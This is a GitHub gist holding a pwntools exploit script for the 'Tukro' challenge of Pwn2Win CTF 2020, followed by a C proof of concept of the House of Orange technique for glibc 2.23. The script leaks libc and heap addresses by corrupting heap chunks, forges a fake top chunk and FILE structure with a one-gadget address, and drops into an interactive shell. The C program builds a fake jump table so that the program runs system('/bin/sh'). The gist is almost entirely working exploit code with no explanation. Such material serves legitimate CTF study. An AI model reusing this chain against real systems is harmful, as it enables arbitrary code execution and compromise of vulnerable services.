Skip to content

Instantly share code, notes, and snippets.

@KaoRz
Last active May 31, 2020 16:40
Show Gist options
  • Save KaoRz/b293c2eb922b81061789f88b5bcc43ca to your computer and use it in GitHub Desktop.
Save KaoRz/b293c2eb922b81061789f88b5bcc43ca to your computer and use it in GitHub Desktop.
Tukro challenge - Pwn2Win CTF 2020 (w/@javierprtd & @id10t_ctf)
#!/usr/bin/env python
from pwn import *
context.terminal = ['tmux', 'sp', '-h']
#context.log_level = 'DEBUG'
elf = ELF("./tukro")
libc = ELF("./libc.so.6", checksec = False)
LOCAL = False
def sign_up(user, passwd):
io.recvuntil("choice: ")
io.sendline("1")
io.recvuntil("Username: ")
io.sendline(user)
io.recvuntil("Password: ")
io.send(passwd)
def sign_in(user, passwd):
io.recvuntil("choice: ")
io.sendline("2")
io.recvuntil("Username: ")
io.sendline(user)
io.recvuntil("Password: ")
io.send(passwd)
def write_test(recpt, data):
io.recvuntil("choice: ")
io.sendline("1")
io.recvuntil("Username: ")
io.sendline(recpt)
io.recvuntil("Testimonial: ")
io.send(data)
def my_tests():
io.recvuntil("choice: ")
io.sendline("2")
def tests_to(idx = -1, data = ""):
io.recvuntil("choice: ")
io.sendline("3")
recv_data = io.recvuntil("\nEdit")
io.recvuntil("(y/N): ")
if idx == -1:
io.sendline("N")
else:
io.sendline("Y")
io.recvuntil("Number: ")
io.sendline(str(idx))
io.recvuntil("Testimonial: ")
io.sendline(data)
return recv_data
def del_test(idx):
io.recvuntil("choice: ")
io.sendline("4")
io.recvuntil("Number: ")
io.sendline(str(idx))
def logout():
io.recvuntil("choice: ")
io.sendline("5")
if LOCAL == True:
io = process(elf.path)
else:
io = remote("tukro.pwn2.win", 1337)
sign_up("userA", "passwd")
sign_up("userB", "passwd")
sign_in("userB", "passwd")
write_test("userA", "AAAA")
write_test("userA", "AAAA")
write_test("userA", "AAAA")
write_test("userA", "AAAA")
write_test("userA", "AAAA")
write_test("userA", "AAAA")
write_test("userA", "\x00" * 0x2f0 + p64(0x510) + p64(0x510))
logout()
sign_in("userA", "passwd")
del_test(3)
del_test(1)
logout()
sign_in("userB", "passwd")
recv_leak = tests_to()
leaked_arena = u64(recv_leak.split("Testimonial 7: \n")[1].split("\n")[0].ljust(8, "\x00"))
leaked_heap = u64(recv_leak.split("Testimonial 6: \n")[1].split("\n")[0].ljust(8, "\x00"))
libc.address = leaked_arena - 0x3c4b78
heap_base = leaked_heap - 0xa20
log.success("Leaked GLIBC arena address: " + hex(leaked_arena))
log.success("Leaked heap address: " + hex(leaked_heap))
log.info("GLIBC base address: " + hex(libc.address))
log.info("Heap base address: " + hex(heap_base))
write_test("userA", "AAAA")
write_test("userA", "AAAA")
logout()
sign_in("userA", "passwd")
del_test(5)
del_test(6)
del_test(3)
del_test(4)
logout()
fake_chunk = ""
fake_chunk += p64(0x0) + p64(0x511)
fake_chunk += p64(heap_base) + p64(heap_base + 0xa20)
sign_in("userB", "passwd")
tests_to(3, "\x00" * 0x2f0 + fake_chunk)
tests_to(6, p64(libc.address + 0x3c4b78) + p64(heap_base + 0x1c50))
tests_to(4, p64(heap_base + 0x1c50) + p64(libc.address + 0x3c4b78))
write_test("userA", "AAAA")
write_test("userA", "AAAA")
write_test("userA", "AAAA")
tests_to(5, "\x00" * 0x208 + p64(0x1a1))
write_test("userA", "AAAA")
fake_top = ""
fake_top += "/bin/sh".ljust(8, "\x00") + p64(0x61)
fake_top += p64(libc.address + 0x3c4b78) + p64(libc.symbols['_IO_list_all'] - 0x10)
fake_top += p64(2) + p64(3)
fake_top += p64(0) * 9 + p64(libc.address + 0xf1147) # One gadget
fake_top += p64(0) * 11 + p64(heap_base + 0x1ec0)
tests_to(5, "\x00" * 0x200 + fake_top)
write_test("userA", "AAAA")
io.interactive()
io.close()
/* House of orange POC by soez(@javierprtd). GLIBC 2.23 and ASLR disabled. */
/* Based on https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_orange.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
unsigned long *p0, *top;
unsigned long io_list_all = 0x7ffff7dd2520; // _IO_list_all
unsigned long system = 0x7ffff7a52390;
unsigned long *jump_table;
malloc(0x500);
malloc(0x500);
malloc(0x500);
malloc(0x500);
malloc(0x500);
p0 = malloc(0x500);
top = p0 + 0x500 / 0x8;
top[1] = 0x1a1; // top size
malloc(0x500);
memcpy(top, "/bin/sh\x00", 8);
top[1] = 0x61; // Size
top[3] = io_list_all - 0x10; // top->bk (unsorted bin attack)
top[4] = 0x2; top[5] = 0x3; top[24] = 0; // fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
jump_table = &top[12]; // Controlled memory
jump_table[3] = system;
*(top + (sizeof(FILE) / 8)) = jump_table; // top + 0xd8 (index 27)
malloc(0x500); // Shell :-)
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment